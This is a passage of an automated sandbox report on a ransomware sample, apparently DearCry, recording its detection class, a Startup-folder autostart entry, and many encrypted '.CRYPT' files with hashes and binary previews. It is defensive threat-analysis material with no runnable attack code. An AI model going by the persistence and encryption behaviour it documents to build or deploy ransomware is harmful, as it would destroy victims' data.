                                                            https://substrate.office.com/SubstrateSearch-Internal.ReadWriteSearchUI.exe, 00000012.00000002.486954958.00000248A3823000.00000004.00000001.sdmpfalse
                                                              high
                                                              http://schemas.micros$explorer.exe, 00000008.00000003.305658033.0000000005EBA000.00000004.00000001.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              low

                                                              Contacted IPs

                                                              No contacted IP infos

                                                              General Information

                                                              Joe Sandbox Version:31.0.0 Emerald
                                                              Analysis ID:367746
                                                              Start date:12.03.2021
                                                              Start time:07:50:16
                                                              Joe Sandbox Product:CloudBasic
                                                              Overall analysis duration:0h 12m 27s
                                                              Hypervisor based Inspection enabled:false
                                                              Report type:full
                                                              Sample file name:s1.exe
                                                              Cookbook file name:default.jbs
                                                              Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                              Number of analysed new started processes analysed:37
                                                              Number of new started drivers analysed:0
                                                              Number of existing processes analysed:0
                                                              Number of existing drivers analysed:0
                                                              Number of injected processes analysed:3
                                                              Technologies:
                                                              • HCA enabled
                                                              • EGA enabled
                                                              • HDC enabled
                                                              • AMSI enabled
                                                              Analysis Mode:default
                                                              Analysis stop reason:Timeout
                                                              Detection:MAL
                                                              Classification:mal80.rans.spre.evad.winEXE@8/1093@0/0
                                                              EGA Information:Failed
                                                              HDC Information:
                                                              • Successful, ratio: 99.8% (good quality ratio 89.1%)
                                                              • Quality average: 73.9%
                                                              • Quality standard deviation: 33%
                                                              HCA Information:
                                                              • Successful, ratio: 61%
                                                              • Number of executed functions: 139
                                                              • Number of non-executed functions: 84
                                                              Cookbook Comments:
                                                              • Adjust boot time
                                                              • Enable AMSI
                                                              • Found application associated with file extension: .exe
                                                              • Override analysis time to 240s for sample files taking high CPU consumption
                                                              Warnings:
                                                              Show All
                                                              • Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, rundll32.exe, WerFault.exe, RuntimeBroker.exe, ShellExperienceHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, mobsync.exe
                                                              • Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 93.184.220.29, 168.61.161.212, 131.253.33.200, 13.107.22.200, 104.43.139.144, 2.20.142.209, 2.20.142.210, 104.42.151.234, 13.64.90.137, 52.147.198.201, 40.126.31.135, 40.126.31.141, 40.126.31.143, 40.126.31.6, 40.126.31.8, 40.126.31.4, 40.126.31.137, 20.190.159.138, 51.104.139.180, 20.54.26.129, 2.17.179.193, 84.53.167.113, 104.43.193.48, 52.255.188.83
                                                              • Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, cs9.wac.phicdn.net, arc.msn.com.nsatc.net, www.tm.lg.prod.aadmsa.akadns.net, e15275.g.akamaiedge.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, cdn.onenote.net.edgekey.net, ocsp.digicert.com, login.live.com, wildcard.weather.microsoft.com.edgekey.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, watson.telemetry.microsoft.com, cdn.onenote.net, au-bg-shim.trafficmanager.net, www.bing.com, skypedataprdcolwus17.cloudapp.net, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, tile-service.weather.microsoft.com, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, login.msa.msidentity.com, skypedataprdcolcus15.cloudapp.net, dual-a-0001.dc-msedge.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, dub2.current.a.prd.aadg.trafficmanager.net, blobcollector.events.data.trafficmanager.net, e1553.dspg.akamaiedge.net, skypedataprdcolwus16.cloudapp.net
                                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                                              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                              • Report size getting too big, too many NtCreateFile calls found.
                                                              • Report size getting too big, too many NtCreateKey calls found.
                                                              • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                              • Report size getting too big, too many NtEnumerateKey calls found.
                                                              • Report size getting too big, too many NtEnumerateValueKey calls found.
                                                              • Report size getting too big, too many NtOpenFile calls found.
                                                              • Report size getting too big, too many NtOpenKey calls found.
                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                              • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                              • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                              • Report size getting too big, too many NtReadFile calls found.
                                                              • Report size getting too big, too many NtSetInformationFile calls found.
                                                              • Report size getting too big, too many NtWriteFile calls found.
                                                              • Too many dropped files, some of them have not been restored

                                                              Simulations

                                                              Behavior and APIs

                                                              TimeTypeDescription
                                                              07:51:28API Interceptor1232x Sleep call for process: explorer.exe modified
                                                              07:52:03AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.CRYPT

                                                              Joe Sandbox View / Context

                                                              IPs

                                                              No context

                                                              Domains

                                                              No context

                                                              ASN

                                                              No context

                                                              JA3 Fingerprints

                                                              No context

                                                              Dropped Files

                                                              No context

                                                              Created / dropped Files

                                                              C:\$Recycle.Bin\S-1-5-18\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):129
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:WttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkR:Yr
                                                              MD5:73C804ED1D6216DA1C49EA4CDED846CC
                                                              SHA1:A61AECBE0691F04F4C4DAE8770187C24F1EF0FE9
                                                              SHA-256:E7118C3A89BF814DED2AB232303565239253F59FDEA93E27D0206E175492E3A7
                                                              SHA-512:E84B03D611794516DC8BA99B3E90C08ECF1EB1DEBB3E25BF351FA0911E0C84ADAEC84E270B0123C355CA08098836448B6D6DB28B8E56FFF1FAFF9CC8EDA83580
                                                              Malicious:true
                                                              Reputation:low
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\$Recycle.Bin\S-1-5-18\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):424
                                                              Entropy (8bit):7.396982397063526
                                                              Encrypted:false
                                                              SSDEEP:12:rOqwdTf5ezHPV+LIr19Xg+5Uyhkvbu+HfBWojLaXfmrmuPjpMi:/ITqWIhtUBhHf0uqmrfVj
                                                              MD5:D5657912127690B33B038A42281EBBA1
                                                              SHA1:BDEBC8B1F9D0E49AFAE5D7745F33DEAB2030E8BE
                                                              SHA-256:2053B11AA2C6A8A65340596DF8140137711E38BE9D9744D684F992C4A0FDDBEF
                                                              SHA-512:6E94FFE34A26634D29A24F2CFBF03C443788000DB896D83078812362FF59EAA51E7B31F38904D5A2F2F94016600C839F2ADD002CC44E997F6BD293204C706F20
                                                              Malicious:true
                                                              Reputation:low
                                                              Preview: DEARCRY!......._..>.C.%.....Q.*.%??a.....C.....n.Q{.|7.\...c....u.....MQ..@.......yl./._......Y.5..u.'.w.S..6."..n...]~'&.......y....p......"!..J......1e..?.8.......eG.Z...<O*1yjfN..]....Y..X1.}1...B..UM..d.!..W/.N.7.a.G.....p...vT.&..-k.....Is.|.....}x..............{B{.......G|.QI..}U.*SRf},.c.............@...$.l....=.NLR~8V PW.......m.sfC...v.&.\~..!.D3..r...!tom..j...{/_X,.......Lu..P....k.L.c~.y..t].
                                                              C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1000\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):129
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:WttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkR:Yr
                                                              MD5:73C804ED1D6216DA1C49EA4CDED846CC
                                                              SHA1:A61AECBE0691F04F4C4DAE8770187C24F1EF0FE9
                                                              SHA-256:E7118C3A89BF814DED2AB232303565239253F59FDEA93E27D0206E175492E3A7
                                                              SHA-512:E84B03D611794516DC8BA99B3E90C08ECF1EB1DEBB3E25BF351FA0911E0C84ADAEC84E270B0123C355CA08098836448B6D6DB28B8E56FFF1FAFF9CC8EDA83580
                                                              Malicious:false
                                                              Reputation:low
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1000\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):424
                                                              Entropy (8bit):7.464975136269452
                                                              Encrypted:false
                                                              SSDEEP:12:rOVdprTPXkxkFCPkqRO7ZdwemkCHCJSfjf1n2WQ5Jpn:EdrXkxkIwZKxRHkSLf1n2WQZ
                                                              MD5:E3077059AC2BBA8C1DD1B97D69A9AE3D
                                                              SHA1:8EF83A2D7AD60A761ABA970AAA1FED638A783124
                                                              SHA-256:0E391A2824C97890501C9FAAF47B81C78F0F612CDA5F9960D41AE0F8E7646F70
                                                              SHA-512:74ED6752082DA9840FAC437E80D2DA9CB73F5917BD7F5596ABC31505D61D88487519A73572088842DFEC5CF6A0CA0266538DA5A83C95597C30D16D350A3C67D7
                                                              Malicious:false
                                                              Reputation:low
                                                              Preview: DEARCRY!......h4P..y..l.........'c..z.d...I.YK..k(>S...._N#.....w..\...VDk..`.......:.!....g...'.....A...=l.P..:.;..Rp.y..?.D.q.%.{^.gs]o. (...d\....;.t#.)..;Z....t.}.}.....Tu..(w7&._...j?...ggE.>B..3?E.y_...e...S...q.).i\P..hE..p...I.N...."f.......[.D-...............$.. ..]?..~......_...5..."zB..R.45jZ9..O<..d.d.. . aT...+.D.6..nY....a...40....?....:.w+.sm.-K.4.....;{.q..F...},.m..B...9......0_um
                                                              C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1001\$I2EW2MR.pdf
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):94
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:WttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkO:Yc
                                                              MD5:233909403BEE2841400C073FA0C2F0D1
                                                              SHA1:6675AB9C5CA21F903E070EA1A217AC655584CF55
                                                              SHA-256:F6AFCAF794FE0E04D6EC18BBDE55412A60C0C5EF55E75223B817E97F208BBCCC
                                                              SHA-512:FE8FF0E739B8CCEF7CFAABE107FB95D0B4E006D256A090BEA5FA27F056D6DD72FB2DAE61F5E927EF08810742E02D3301084194EC12F8A757D83F73E32E53B2A1
                                                              Malicious:false
                                                              Reputation:low
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1001\$I2EW2MR.pdf.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):376
                                                              Entropy (8bit):7.325655592575651
                                                              Encrypted:false
                                                              SSDEEP:6:rOkoJ2rg0EXP/GKe7uzmCYhXC4AgfKp7VsaN/dycxBmKnPBTEqUZANqzTSUDseY:rOnJ2EmKepCiBffKpTZ9msSAzN
                                                              MD5:028FC8471CC26C220D5C852EB01013B5
                                                              SHA1:D0785011DE16B638641DCB069328F42E9367FE26
                                                              SHA-256:3CA4BB5CD3B1E1841F004967FEFCB5D36404FC51C6B197C3E2990FDF88B35F58
                                                              SHA-512:1B8E128EF799FBF2CA9E207EBA3CA51AA399DA7CE4C9EC0F2F7A25C5825A237565B909EF62EC0AECAC2EEB909ED6A30A90F950B2FC465E8AC73DA37F423A29DB
                                                              Malicious:false
                                                              Preview: DEARCRY!...."...<.qJ.6.....,*.2I&.y...7o!......^*.:{.....'..#..\.`.e.!@.gq.DJ.8<......<~...`.A7".1...z.D...''t.D[..7...#.S....FN......q|v..d<.Y...[d.VD\^s@.BBA...r.z....E..-oB1..|.8-.Q......w*8W.}5"..Z.ur......Iq.:.....0.O.Z....Z.....O20.<..%.B..(.4xH6..]v_....^............J.{;....../._w(05.%.MW.{..G.V..S.[S..5{j..x..jv.2.k..8q.'...-.}?.*..?.o....7.}....n}..
                                                              C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1001\$R2EW2MR.pdf.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.238571038117374
                                                              Encrypted:false
                                                              SSDEEP:6:rOk6IAR8qNc/W/yN9NGQnzvloKPZ1EUBi1DlIRMswx+pRMbbY74iJG:rOFIA6qO/W/eN59Z1EUBi1DlWMxbbY7s
                                                              MD5:7296457972982041610D0F2527656866
                                                              SHA1:5D22A5BBE123ABF2727AD546D075113D3B836E27
                                                              SHA-256:99516169F7B9CD14B497E66C24E7CB7BA483D79DBEB87F268E441530CDAA3EE4
                                                              SHA-512:385BFBD7A73A0F6234E7F92D3F11FB426F18B98B841FCDD084FF054A6EB380E8506B1F2F237F5E52B3BA20BD6CF2322DA923C7A1EA12610B7F7B6B35A6F820A3
                                                              Malicious:false
                                                              Preview: DEARCRY!....T<.G.......5..HF...|.....3/...._.b7.O.s.8...k...qq.....@(.45'vy.I...y.'..q..M.Pb;5L....\.f...?.?..8..[.S..0_.u..}X(..-..`.aP...T.?P..@...T...,..(.i^.q.l]....O..Z.X..9X.K/..AQ..y.j...W*.%.mXp..R4...xVM...N..C.....B..<./....<.1.....U.&.i>">.T}.............A...@.8..v.H2.WZ
                                                              C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1001\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):129
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:WttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkR:Yr
                                                              MD5:73C804ED1D6216DA1C49EA4CDED846CC
                                                              SHA1:A61AECBE0691F04F4C4DAE8770187C24F1EF0FE9
                                                              SHA-256:E7118C3A89BF814DED2AB232303565239253F59FDEA93E27D0206E175492E3A7
                                                              SHA-512:E84B03D611794516DC8BA99B3E90C08ECF1EB1DEBB3E25BF351FA0911E0C84ADAEC84E270B0123C355CA08098836448B6D6DB28B8E56FFF1FAFF9CC8EDA83580
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1001\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):424
                                                              Entropy (8bit):7.434049805317883
                                                              Encrypted:false
                                                              SSDEEP:12:rO8q8cSGJG4xqOSJ5tNUr/ZUxBna9iPu/zsbWz0DgGw8A6dmG0p:hHOI/dNUrBUxBnkP/ofDg3EkG0p
                                                              MD5:AA92502F1599944F7E2579FAA4168D6D
                                                              SHA1:D323B4C4AE28432EF12EDB9095EDBC212DDC1B46
                                                              SHA-256:FA4A134F9C06AC5DCD58542609E4FE9FE2A8F51694F44213CBC8622D38AA604A
                                                              SHA-512:46BB15E75DE081AB3FE2F2AC60E5F819D5C91B44C3A931E8348CC9C03DD0B775E0B581FD800DEB6B3F78093B8A3F21286AC9ED194BD2E68E53081BED1B9D9FDE
                                                              Malicious:false
                                                              Preview: DEARCRY!.....[0..sUt.%^..}q.x....$k.v.b...J.Y6.<.\L..9..M..R..:.G.-..m.N..z...}..q....9.-..h1.H..q.q...8/...(M..t..\!......Z.=.........6=..\.'.`..3U#m3..M.W..)......o............r.rh...\....H....6p......>.#!...;..b..G... .|...P..u4g.Po..|.+.W.C[;..L..............L......4...Y..M...O7../;#,.kf"#}..5.A.......@.1.N..l.|....N..._V....B....xd3..CQ[.{]'.....i\S...Yr.........J.]..G.'.&HT2R..$..D.u8C#.A.I.
                                                              C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini
                                                              Process:C:\Windows\explorer.exe
                                                              File Type:Windows desktop.ini, ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):129
                                                              Entropy (8bit):5.323600488446077
                                                              Encrypted:false
                                                              SSDEEP:3:0NdQDjoqxyRVIQBU+1IVLfAPmBACaWZcy/FbBmedyn:0NwoSyzI2U8MAPVCawbBmeUn
                                                              MD5:A526B9E7C716B3489D8CC062FBCE4005
                                                              SHA1:2DF502A944FF721241BE20A9E449D2ACD07E0312
                                                              SHA-256:E1B9CE9B57957B1A0607A72A057D6B7A9B34EA60F3F8AA8F38A3AF979BD23066
                                                              SHA-512:D83D4C656C96C3D1809AD06CE78FA09A77781461C99109E4B81D1A186FC533A7E72D65A4CB7EDF689EECCDA8F687A13D3276F1111A1E72F7C3CD92A49BCE0F88
                                                              Malicious:false
                                                              Preview: [.ShellClassInfo]..CLSID={645FF040-5081-101B-9F08-00AA002F954E}..LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964..
                                                              C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):424
                                                              Entropy (8bit):7.419328720413729
                                                              Encrypted:false
                                                              SSDEEP:12:rOSaj0vjL+vOqB1zfrWxwcAkH8X90Fx8/Y9iVk2O/:FV+9NqDZfBD
                                                              MD5:876C0B5AD94A16DD321DF67FCDE6A894
                                                              SHA1:28680929EE8C450A264356D41C4269FF7A496991
                                                              SHA-256:C2A1DE0805960BBA9C475907DF5A352AED215B1D12FB16A8400E96F7A9D3FF4C
                                                              SHA-512:C3AFA483BD9CB5B43EC0D1ABB09A236AE7E99365A48EFAC8BCD15F5FA83173663B7E363983CA4D817F17CA3E46369D26F4B195D5C5DA8F3CDCAA834638C7485D
                                                              Malicious:false
                                                              Preview: DEARCRY!....*]....;.da...H.`,E.9Xy,H.x..7[..../.6.......O..~.`\.(...........I).k.....,....YP<..ro..R...t$Y^pN\|..0......BF...+-.M..C...#.*..I...<..Q.......Y. .5.m...s$.{......:s.=.H.Q0n....]T.Jbd..m..G..]:......<. .m..F.1..3...'...9..Zj...X]k.0...U..'..~.`]~............=.........h..i..zk....._ .k...<.......3.../.B.Q..?N.OEpHL.......}...s....`..../V....:)9Y..,..:)7....x....)a.IX..U.....m.`..<2..~...O|w[.
                                                              C:\ProgramData\Adobe\ARM\ArmReport.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):866
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkki:YQ
                                                              MD5:683DD543B58FFED4F679C40960873D60
                                                              SHA1:3AE4229602CF030848ADC22820AFCA614CF55D57
                                                              SHA-256:D0941600D56684A2BAC0D8C5B0034FFF23C0BED9F53C27B46D90CA462B07307E
                                                              SHA-512:749ABB1F0685FEE6402555795AA64F98E040F7FD0D034EFA4BD685C0BAC9B26C98AD3C8EB333C3A1FF71A97F476DDAAD26C40EF71062C3A942AA1A3C9E105121
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Adobe\ARM\ArmReport.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1160
                                                              Entropy (8bit):7.831214309077838
                                                              Encrypted:false
                                                              SSDEEP:24:/U/yPRoHmQeHt84k9eYYLlVpdAOMyv0fGX+dfvhy:/U/7mQeHtDYefL/zAWv0f1hy
                                                              MD5:76D8BB72C7EC9BAF5497D0B775ABC2B6
                                                              SHA1:E017C868B6690B2E6553A792D9E4D3DA22EFF199
                                                              SHA-256:837A7E1DBE8A8E4C158D0B209949C71E3DA6719765FB057C2678FB376AB6B1BF
                                                              SHA-512:D860CF7CB5ECEFDD4A88FA10D694A276EC3E7EF6BD49AB9D394CC4467545413D856F8044EE47C1A21FEE6AAA68C769C72C6F356637DF214887411A4589EA943B
                                                              Malicious:false
                                                              Preview: DEARCRY!....=..0.boe7...k..4G.=.-.@PE.+..@I._.....J.~...l...W.P....+kZ|...y>-h4F..d......Ayq..|.....f.?x.L.!2e......8.T...Wu.-o....z..y.#..\..r.k._9..m(&.P..n....(?.4....rR.P.Q...EN....|U......j .....TgB..Y....K7......B.w..5.....8.'....*.&}....Hez....]..j.*.....b........z.E.@....;`.q-.V.&...D...$#R..7.....|.g ...N........M....v}!.Z.e..W..+.8.E .....q..h......I.&....mmx..wv...-.......|..z..D.3..I..P...?..`........h.@....voL..R..,.y._a.:(.e2.T.f.:.[.Q...@...j.z.F..=JJ.p=-...R.V.\.4t....`...+.1:{.?.G1}.U.q.E........TK}.f ..^....I..c"Y.1S`v.^./_5.u...N.~..../r.X.|..#2..O..r...............5-1.%.R..+...s..U..9/.Jt..aM..\7.......cB.l......6..b...n.x(_.J..+..1;1.!+.z+....`_JU.......|.0z...9.<./..u.b....M.]....ze.o.,..ZOb..../......1..R...)k..hO8.U..v..4z.$.....{tM..)..0i.........c*R|....F.......]_...]........r.....H`....K8..=..UN.-....s&(....}iD..`....aU=m.A;vH..[....g.%w....W......ZC..0....Q...z6.X....?....N..#...Y..}.<-...<..Va.Z2..V
                                                              C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):423464
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk4:Y2
                                                              MD5:F2A405F7AE51A3742E9CA26589A4C75C
                                                              SHA1:05D132DB6B4D6D95C0EEECE1B4D248A4A9C599F6
                                                              SHA-256:52621CEFF0F14080401A28F45EBADAE4FFE427385033C5985E39169EABC52AB0
                                                              SHA-512:E53DD2A14435E72126A84D6215F963C224617434D5E9FEB50558A04E54D11E3983F71E04531FB25525A12F13B34C92BE7E5B0C607937915204702E3F55078F5A
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):423752
                                                              Entropy (8bit):7.99960604233592
                                                              Encrypted:true
                                                              SSDEEP:12288:D+kuOuwaIiHsrP1PKqSjwP6h4nF6uwgYGLhr:fSML1PKq2w5F/vN
                                                              MD5:ECD486B46011451E19AA2FF95AF9D4CB
                                                              SHA1:9F7B20300281D863002708F954658C44D898DF08
                                                              SHA-256:44967F29B1FB542A985A32E997289C7BA94F7E11F2354258B970ADE31963B4A4
                                                              SHA-512:58A014B95EFCA23524F5E3995FBFDA42174B7C3B818DC587250631CEDA70E5C890C8FED70EB975EF34816053E1EC39AFADDB711527033A857E1958AD1BD65546
                                                              Malicious:true
                                                              Preview: DEARCRY!....m.n9..q........He3."...R..../.S..M...q....!y..%W....|.i.dZ:[...t.4..S.......(..r.......6..].?..$....`"...o@....wG1H.z1.J.<..&.Cpl..E.).......{4...\....*..H.....l.]`r9.....{.K.;.8,(.k[..'.?.U0..>.g...R...)....p.....i.{7.....".N..G2...4....~.R.K)w..).....(v......Q;.X..8.n.-...!....0...Z.".UlQ.\?...i..*VC...v.~..\..J.g..........U..K.j.5...RJ.;.6.....%3...h%..FW".b...1R.sy<...8....6Z..yf.<.C.24C.0..Q.jo.e.e....[.eV1..Q.U{..Ps)....#....O ......5..@d/........i..{%~..v9m'.j4i..........7......}.y...u..:...C.NI.{i......W]......EJ,....OL...g#...V..1.._..t......a`..b....C.y?E.VA.M?..s=g../j....U....D.j..N..o~wE.ZV...X5..F..FJ.Wd.$...K......pl.~.X.y...t?..........A.?....qI...!..}Q..-.E.B.p.........0...g,H*..X.&..f.T......K&..@.o.. '...k..4...d......Z...lR.\...,.?.=`].....{K'M....A..^9b.B.yw...l...o....^ G .9{..y...R4....-"...u......d...|........%.R.....j9..JA..`..9%P.P&.......Q.z..GT.>...Oj3S2..H....|s...<J/.B.o..=T../k.5%..h.0.........5y.
                                                              C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe
